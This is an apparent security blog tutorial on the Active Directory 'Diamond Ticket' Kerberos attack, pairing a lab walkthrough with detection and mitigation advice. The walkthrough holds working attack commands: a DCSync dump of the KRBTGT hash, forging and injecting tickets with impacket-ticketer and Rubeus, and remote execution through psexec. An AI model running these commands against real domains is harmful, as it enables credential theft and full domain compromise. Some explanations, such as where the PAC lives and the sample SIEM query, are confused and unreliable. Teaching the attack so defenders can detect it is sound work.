The Diamond Ticket attack represents a sophisticated escalation in Active Directory (AD) exploitation methods, leveraging intricate flaws in Kerberos authentication and authorization mechanisms. This article explores the technical nuances of the Diamond Ticket attack, delving deeply into the underlying mechanisms, the role of Privilege Attribute Certificates (PACs), and the root causes that make AD environments susceptible. We conclude with detailed detection and mitigation strategies to protect against such threats.
Table of Contents
·
Introduction-
Diamond Ticket
·
Attack
Machnism
·
Ticket
Structure
·
PAC
Validation
·
PAC
Validation Limitation
·
Prerequisites
for Attack
·
Remotely
Diamond Attack -Linux
·
Locally Diamond Attack-Windows
·
Detection Techniques
·
Mitigation Strategies
Introduction-Diamond Ticket
A Domain PAC (Privilege Attribute Certificate) attack is a
type of Kerberos abuse where an attacker forges or manipulates the PAC within a
Kerberos ticket to gain unauthorized access or escalate privileges in a domain
environment. The attack leverages the fact that many services trust the PAC
without verifying its authenticity or validating it with the Key Distribution
Center (KDC).
The Diamond Ticket attack is indeed a form of exploiting and
abusing the Kerberos trust by manipulating Kerberos Tickets
(specifically the TGTs and the PAC) in a way that allows
attackers to forge tickets and escalate their privileges in the
Active Directory domain.
Attack
Machnism
The attacker manipulates or forges the PAC to include
elevated privileges or fake group memberships (e.g., "Domain
Admins").
A forged ticket with the modified PAC is then sent to the
target service.
In the Diamond Attack, the attacker leverages the KRBTGT
AES hash to decrypt a valid TGT (Ticket Granting Ticket) and modify
the PAC (Privilege Attribute Certificate) inside the TGT before
re-encrypting the modified TGT with the KRBTGT AES hash again to make it
appear legitimate.
This attack is essentially a TGT modification attack.
The attacker doesn't need to steal the original TGT or create a completely new
one; they simply manipulate the PAC within an existing TGT.
Steps Involved in the Diamond Attack:
·
Obtain the AES hash of the KRBTGT account: The
attacker first compromises the KRBTGT account (often by dumping hashes
from the domain controller or gaining access to sensitive domain controller
information).
·
Decrypt the TGT using the KRBTGT AES hash: The
attacker then uses the AES hash of the KRBTGT account to decrypt a valid TGT.
The TGT, when decrypted, contains the PAC which includes user
privileges, group memberships, and other critical information.
·
Modify the PAC: After decrypting the TGT, the attacker
can modify the PAC to reflect unauthorized attributes or privileges.
This could include adding themselves to privileged groups like Domain Admins
or changing their group memberships to escalate privileges.
·
Re-encrypt the modified TGT using the KRBTGT AES hash: Once the
attacker has modified the PAC as desired, they re-encrypt the TGT using the KRBTGT
AES hash to create a new valid TGT. This re-encryption makes the modified
TGT appear legitimate to the Kerberos infrastructure.
·
Use the modified TGT: The attacker can
now present the modified TGT to access resources as if they were a privileged
user, bypassing normal access control mechanisms.
·
GS (Service Ticket): The TGS
tickets are issued based on the TGT. They do not directly store the PAC;
instead, they rely on the TGT's PAC to validate the user's identity and
permissions.
·
In this attack, the manipulation occurs before the
TGS is involved because the tampered TGT is used to request a service ticket
with elevated privileges.
Ticket
Structure
TGT (Ticket Granting Ticket) Structure
The TGT is issued by the Authentication Server (AS)
and is used to request service tickets from the Ticket Granting Server (TGS).
Its structure typically contains:
Header Information:Ticket version and type.
Client Information:Username and realm (e.g., user@DOMAIN.LOCAL).
Session Key: A key shared between the client and the KDC, used for
encryption.
PAC (Privilege Attribute
Certificate):Contains
details about the user:
o
Group
memberships.
o
Privileges
(e.g., admin rights).
o
Account
SID (Security Identifier).
Timestamp and Lifetime:Validity period of the ticket (start time, expiration time).
KRBTGT Encryption:The TGT is encrypted and signed using the KRBTGT hash
(AES or RC4), ensuring only the KDC can read or validate it.
TGS (Service Ticket) Structure
The TGS ticket is issued by the Ticket Granting
Server based on the TGT and is used to access specific services. Its
structure includes:
Header Information:Ticket
version and type.
Client Information:Username
and realm.
Session Key:A unique key for secure communication between the client and
the target service.
Service Information:The Service Principal Name (SPN) identifying the target
service (e.g., HTTP/WEBSERVER.DOMAIN.LOCAL).
PAC (Privilege Attribute
Certificate):Copied
from the TGT and used by the service to verify the user's identity and
privileges.
Timestamp and Lifetime:Validity period of the service ticket.
Service Key Encryption:Encrypted using the service account’s key (password
hash or key material of the SPN).
PAC
Validation
Kerberos PAC
(Privilege Attribute Certificate) validation ensures that the identity and
privileges of a Kerberos-authenticated user are legitimate. The PAC contains
information about the user's group memberships, SID (Security Identifier), and
other authorization data.
AS-REQ and AS-REP:
·
The client sends an AS-REQ to the Key Distribution
Center (KDC) to request a Ticket-Granting Ticket (TGT).
·
The KDC issues a TGT in the AS-REP, embedding the PAC
in the encrypted portion of the ticket.
TGS-REQ and TGS-REP:
·
The
client sends a TGS-REQ to KDC, using the TGT to request a service ticket
for a specific resource.
·
The KDC responds with a TGS-REP that includes the
PAC.
AP-REQ (Application
Request):
·
The client sends the TGS (including the PAC) to
the target service.
PAC Validation by the
Service:
·
If the service trusts the KDC, it may directly use the PAC
without validation.
·
If
the service requires PAC validation, it sends the PAC to a domain controller
(DC) for verification.
PAC Validation
Details:
·
The
service sends the PAC to the DC using Kerberos Signature Verification.
·
The
DC verifies the PAC's digital signature (created using the KDC’s private key)
to ensure integrity and authenticity.
·
If
valid, the DC returns confirmation to the service.
AP-REP (Application
Reply):
·
After
PAC validation, the service grants or denies access based on the user's
privileges.
Limitation of PAC
Validation
The main drawback in Kerberos PAC authentication is
the lack of PAC validation by services. Services often trust the PAC
(Privilege Attribute Certificate) embedded in Kerberos tickets without
verifying its signature with the KDC or Domain Controller (DC). This allows
attackers to:
·
Forge
a PAC offline using stolen credentials (e.g., NTLM hash or Kerberos keys).
·
Create
a fake TGS (Ticket Granting Service) ticket without interacting with the KDC.
·
Exploit
the trust model where the service blindly accepts the ticket, granting
unauthorized access.
Key Issues
·
Abusing Kerberos Trust Model: Services assume the
PAC is legitimate and skip validation.
·
Offline Forging: Attackers bypass KDC entirely, making
detection difficult.
·
Key Dependency: Stolen service account keys or hashes
enable ticket creation.
Prerequisites
for Attack
·
KRBTGT Account Hash: Essential for decrypting and
re-encrypting TGTs.
·
AES256 Key: Often required to modify PACs embedded within
TGTs.
·
Administrative Access: Initial access to a high-privilege
account to extract cryptographic material.
Labsetup:
To perform this attack, create two user Raaz as domain admin
and Sanjeet as Standard user in the Domain Controller.
net user raaz Password@1 /add /domain
net group raaz “Domain Admins” /add /domain
net user sanjeet Password@1 /add /domain
Remotely Diamond
Attack -Linux
As
outlined above, to execute this attack, the attacker must obtain the KRBTGT
hash. In a hypothetical breach scenario, we assume the attacker has compromised
the credentials of a privileged account, RAAZ-User. Leveraging this access, the
attacker attempts to perform a DCSync attack to extract the KRBTGT account's
hash.
Extracting
KRBTGT hash & Domain SID
impacket-secretsdump
ignite.local/raaz:Password@1@192.168.1.48 -just-dc-user krbtgt
The
highlighted image shows the NTLM and AES Hashes for KRBTGT service account.
Followed
by the next step, enumerate the SID for User Raaz.
nxc
ldap 192.168.1.48 -u raaz -p Password@1 –get-sid
Generating
forge TGS & PAC
The
attacker forges a Service Ticket for user "sanjeet" with potentially
elevated privileges and a valid signature, bypassing detection mechanisms such
as PAC validation by the Domain Controller.
impacket-ticketer
-request -domain 'ignite.local' -user 'sanjeet' -password 'Password@1' -nthash
'761688de884aff3372f8b9c53b2993c7' -aesKey '8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb'
-domain-sid 'S-1-5-21-798084426-3415456680-3274829403' sanjeet
-domain
'ignite.local':
Specifies the target domain for the attack.
-user
'sanjeet':
The username for whom the forged ticket is being generated.
-password
'Password@1':
The user's password to derive cryptographic keys for generating the PAC or
ticket (not common in Silver Ticket attacks).
-nthash
and -aesKey:
The
nthash and aesKey belong to the KRBTGT account, as required in a Diamond Ticket
attack.
These
are used to cryptographically sign and validate the forged service ticket.
-domain-sid'S-1-5-21-798084426-3415456680-3274829403':
The
domain SID is needed to construct the PAC, including user privileges and group
memberships.
sanjeet: Indicates the SPN (Service
Principal Name) or username the attacker is impersonating, forging access to
services as "sanjeet."
Pass
the Ticket
This
environment variable tells the system to use a specific Kerberos credential
cache file (sanjeet.ccache) for authentication.
The
sanjeet.ccache file contains Kerberos tickets for the user "sanjeet,"
likely including a Service Ticket (TGS) for the targeted resource.
export
KRB5CCNAME=sanjeet.ccache; impacket-psexec ignite.local/sanjeet@dc.ignite.local
-dc-ip 192.168.1.48 -target-ip 192.168.1.48 -k -no-pass
impacket-psexec:A tool from the
Impacket library that uses SMB to execute commands remotely on Windows systems.
ignite.local/sanjeet@dc.ignite.local:The Kerberos principal
name (user@realm) used for authentication:
·
ignite.local
is the domain.
·
sanjeet
is the username.
·
dc.ignite.local
is the hostname of the Domain Controller.
-dc-ip
192.168.1.48:
Specifies
the IP address of the Domain Controller (192.168.1.48).
-target-ip
192.168.1.48:
The
target system's IP address where the command will be executed. Here, it is the
same as the Domain Controller.
-k:
Indicates
that Kerberos authentication will be used instead of NTLM. The tool fetches the
Kerberos tickets from the specified credential cache (KRB5CCNAME).
no-pass:
Tells
the tool not to prompt for a password, as the authentication will be performed
using the Kerberos tickets in the cache.
Locally Diamond
Attack-Windows
If
the attacker has compromised the local network machine windows, then, they may use
tool like Mimikatz and Rubeus.
KRBTGT
Hash Extraction:
·
The
command extracts the NTLM hash and AES encryption keys of the KRBTGT account
from the target domain.
·
These
hashes are used in Golden Ticket and Diamond Ticket attacks to forge Kerberos
tickets.
The
given command demonstrates the usage of Rubeus, a tool designed for Kerberos
ticket operations in Active Directory environments. This specific command
performs a Diamond Ticket Attack, allowing the attacker to impersonate a
specified user.
rubeus.exe
diamond
/krbkey:8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb
/user:sanjeet /password:Password@1 /enctype:aes /domain:ignite.local
/dc:dc.ignite.local /ticketuser:sanjeet /ptt /nowrap
diamond:
Indicates
that this is a Diamond Ticket attack mode in Rubeus.
This
attack involves forging service tickets using the KRBTGT encryption keys.
/krbkey:8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb:
Specifies
the KRBTGT AES key needed to encrypt and sign the Kerberos ticket.
This
key is critical for crafting a valid Kerberos service ticket.
/user:sanjeet:
Specifies
the username (sanjeet) whose credentials are being used to perform the
operation.
/password:Password@1:
The
password for the specified user (sanjeet).
This
is used to authenticate and potentially retrieve necessary encryption keys or
TGTs.
/enctype:aes:
Defines
the encryption type for the Kerberos ticket. In this case, AES encryption is
used.
AES
keys are commonly used in modern Kerberos implementations for enhanced
security.
/domain:ignite.local:
Specifies
the target domain (ignite.local) for which the ticket will be crafted.
/dc:dc.ignite.local:
Indicates
the Domain Controller (dc.ignite.local) to interact with.
/ticketuser:sanjeet:
Specifies
the target user whose identity the forged Kerberos ticket will impersonate.
This
is the user for whom the crafted ticket grants access to services.
/ptt:
Stands
for "Pass-The-Ticket."
Automatically
injects the crafted ticket into the current session to be used for
authentication.
/nowrap:
Prevents
the output from being wrapped in the console.
This
option is for cleaner output readability.
It
will dump a TGT ticket which will be used further to request TGS.
rubeus.exe
asktgs /ticket: <paste the above copied ticket>
/service:cifs/dc.ignite.local /ptt /nowrap
klist
This
will display all the Kerberos tickets currently in the ticket cache.
The
command is used in Windows to list the contents of the C: drive of the remote
machine specified by the hostname or IP address
Detection Techniques
Key Event IDs
·
4769 (Service Ticket Request): Detects forged TGT use.
Indicators: Unusual account names, high privileges (e.g., Domain Admins), and
requests from abnormal IPs.
·
4624 (Successful Account Logon): Look for Logon Type 3
(network logons) from unexpected hosts or elevated privileges for non-admin
accounts.
·
4678 (Privileges Assigned to Logon): Detects special
privileges (e.g., SeDebugPrivilege) assigned to non-privileged accounts.
·
4713 (Kerberos Policy Changed): Flags changes to ticket
lifetimes or other Kerberos policies.
·
4625 (Failed Logon): Repeated failures for privileged
accounts or from suspicious IPs.
Detection Strategies
·
Ticket Lifetime: Compare Ticket Lifetime in Event ID 4769
with policy norms to spot anomalies.
·
Privilege Correlation: Track elevated privileges or sensitive
SPN access by standard users.
·
Unusual Encryption Types: Detect rarely used encryption like
RC4 in Event ID 4769.
·
TGT Usage: Monitor for identical TGTs used across multiple
IPs or locations.
Proactive Measures
·
Enable Kerberos logging for detailed activity.
·
Audit changes to high-privilege groups (Event IDs 4728,
4732).
·
Rotate KRBTGT account passwords regularly.
Example SIEM Query
index=security_logs sourcetype=wineventlog EventID=4769
| search ServiceName IN ("Domain Admins",
"Enterprise Admins")
| stats count by AccountName, IPAddress, ServiceName
| where count > 5
Mitigation Strategies
Proactive Measures
·
Rotate KRBTGT Account Passwords: Regularly reset the KRBTGT
password twice to invalidate cached tickets.
·
Enforce Modern Encryption: Disable legacy protocols like
RC4-HMAC in favor of AES256.
·
Restrict Privilege Escalation: Apply least privilege
principles to minimize exposure.
Incident Response
·
Invalidate Active Tickets: Immediately rotate KRBTGT keys and
log out all active sessions.
·
Forensic Analysis: Use tools like BloodHound to map privilege
escalation paths and identify compromised accounts.
Conclusion
The Diamond Ticket attack underscores the importance of
securing Kerberos authentication in AD environments. By understanding the
technical underpinnings and addressing the root causes of vulnerabilities,
organizations can significantly reduce their exposure to such advanced threats.